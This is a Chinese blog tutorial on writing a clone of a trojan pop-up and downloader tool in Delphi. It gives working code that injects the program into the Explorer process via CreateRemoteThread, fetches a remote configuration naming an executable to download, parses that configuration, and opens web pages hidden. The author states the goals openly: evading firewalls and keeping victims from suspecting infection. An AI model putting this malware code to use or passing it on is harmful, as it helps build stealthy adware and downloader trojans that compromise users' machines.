模仿实现上兴弹窗器功能delphi代码以及功能扩充
上兴弹窗器r2..
下载地址 http://www.3800hk.com/Soft/zhly/16283.html
弹窗器功能简介:
隐蔽:生成的服务端插入IE,穿防火墙,服务启动,隐蔽性强。
动态配置:采用读取网页空间上的配置进行弹窗,用户可随时更换配置文件。
还配置有下载者,一个相同文件只会下载一次,不会重复下载!
等对方打开浏览器才开始计时弹窗,主要防止对方怀疑中了木马!
共可按顺序设置弹十个网址,可设置间隔时间,如弹第一个后隔N秒后弹第二个...
首先代码是插入 IE 运行的,,这里我们就调用老熊曾经发布的一个下载者代码中插入 EXP进程的代码吧..
program inexp;
{$IMAGEBASE $13140000}
uses
Windows;
procedure main;
begin
//sleep(3000);//此处为了实现上兴弹窗的开机延时下载..
MessageBox(0, '插入EXP进程OK!!', '提示', mb_iconinformation);
end;
var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程
hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度
Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度
VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存
hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置
WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作
CreateRemoteThread(ProcessHandle, nil, 0, @main, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成
CloseHandle(ProcessHandle);
//关闭对像
end.
这样就会插入EXP进程执行 main 中的代码....
现在我们就要在 main 中写我们要实现的功能了...
上兴弹窗器的下载地址,以及要打开的网页,还有是否打开..都是存放在固定URL地址中的TXT中..
所以,我们首先要实现取得固定URL地址下TXT的代码...这个可以调用灰鸽子源代码中的FTP更新模块方法..有取得固定URL下JPG内容的代码.同时还支持其他的,比如BMP,ASP,WMV,RAR,ZIP.....好多的..可以自己改后缀测试...
这里我给个 delphi 简单的...
program geturl;
uses
wininet,
windows;
//取网页内容
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
function GetWebPage(const Url: string):string;
var
Session,
HttpFile:HINTERNET;
szSizeBuffer:Pointer;
dwLengthSizeBuffer:DWord;
dwReserved:DWord;
dwFileSize:DWord;
dwBytesRead:DWord;
Contents:PChar;
begin
Session:=InternetOpen('',0,niL,niL,0);
HttpFile:=InternetOpenUrl(Session,PChar(Url),niL,0,0,0);
dwLengthSizeBuffer:=1024;
HttpQueryInfo(HttpFile,5,szSizeBuffer,dwLengthSizeBuffer,dwReserved);
GetMem(Contents,dwFileSize);
InternetReadFile(HttpFile,Contents,dwFileSize,dwBytesRead);
InternetCloseHandle(HttpFile);
InternetCloseHandle(Session);
Result:=StrPas(Contents);
FreeMem(Contents);
end;
调用方法 GetWebPage(pchar('http://www.163.com/1.txt));
好了,至此我们已经实现了插进程,读指定URL内容的功能...
上兴弹窗器生成的TXT格式为:
|下载者地址|是否打开网页1|和下载者间隔X秒打开网页1||网页1地址|是否打开网页2|和网页1间隔X秒|网业2地址|........依次类推,,直到网页10....
OK..格式知道了..我们来给他具体化吧...
|http://www.163.com/1.exe|1|5|http://www.163.com|1|5|http://www.baidu.com|
假定我们的TXT内容为这个,拿了一个下载地址,和 2 个网页地址做示范的,可根据自己需要扩充..
以下将对这些字符串进行处理,分离出下载地址,网页地址这些信息...
用到函数...
//取两个字符之间的数
function GetChars(AString: string; fChar, EChar: char): String;
var
i, tmpPos: Integer;
begin
Result := '';
tmpPos := Pos(fChar, AString);
if tmpPos = 0 then
exit;
for i := tmpPos + 1 to Length(AString) do
begin
if AString = EChar then
break;
Result := Result + AString;
end;
end;
例如将取得的TXT内容赋值给变量S..那么...
定义一个变量 downurl:string;
调用方法 downurl:=getchars(s,'|','|');
这将取得 S 中 第一对 | | 之间的字符串,,也就是..
下载地址 http://www.163.com/1.exe ...
得到地址后下载的方法就太简单了.到处都有..这里我就不说了..
接着需要将字符串S中的下载地址部分删除掉,得到新的S内容..
定义一个变量 strlength:integer;
strlength:= length(downurl)+1;//加一的原因是,,前边还有个 | ...呵呵..
delete(s,1,strlength);
那么.将从 s 的第一位删除,直到 downurl 的最后一个字符..
意思就是,,S的内容将变为新的.
|1|5|http://www.163.com|1|5|http://www.baidu.com|
剩下的是否打开,,打开间隔..无非也就是重复以上的操作...
我们还可以将上兴弹窗器的功能做些扩充..
例如下载者上面..可以在前边加上版本号..防止重复下载...
打开网页方面可以增加是否隐藏打开这些...
关于下载者防止重复下载,,昨天已经在小熊论坛上发了一贴.
地址 http://www.mybr.org/read.php?tid=1082
在此就不重复了..
隐藏打开网页方面..我就给具体实现代码吧...
//取IE路径
function GetIEAppPath:string;
var
iekey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := 'C:\Program Files\Internet Explorer\IEXPLORE.EXE';
RegCloseKey(iekey);
end;
打开网页..
ShellExecute(self,'', pChar(网页地址),'','',SW_show);
隐藏打开网页
WinExec(pchar(pchar(pchar(GetIEAppPath)+' ')+网页地址), SW_hide);
作者:青色咖啡@极点博客 - 青色咖啡的博客
地址:http://www.t522.com/post/89/
极点博客版权所有©转载时必须以链接形式注明作者和原始出处及本声明!


delphi 动态类名。
QQ状态查询器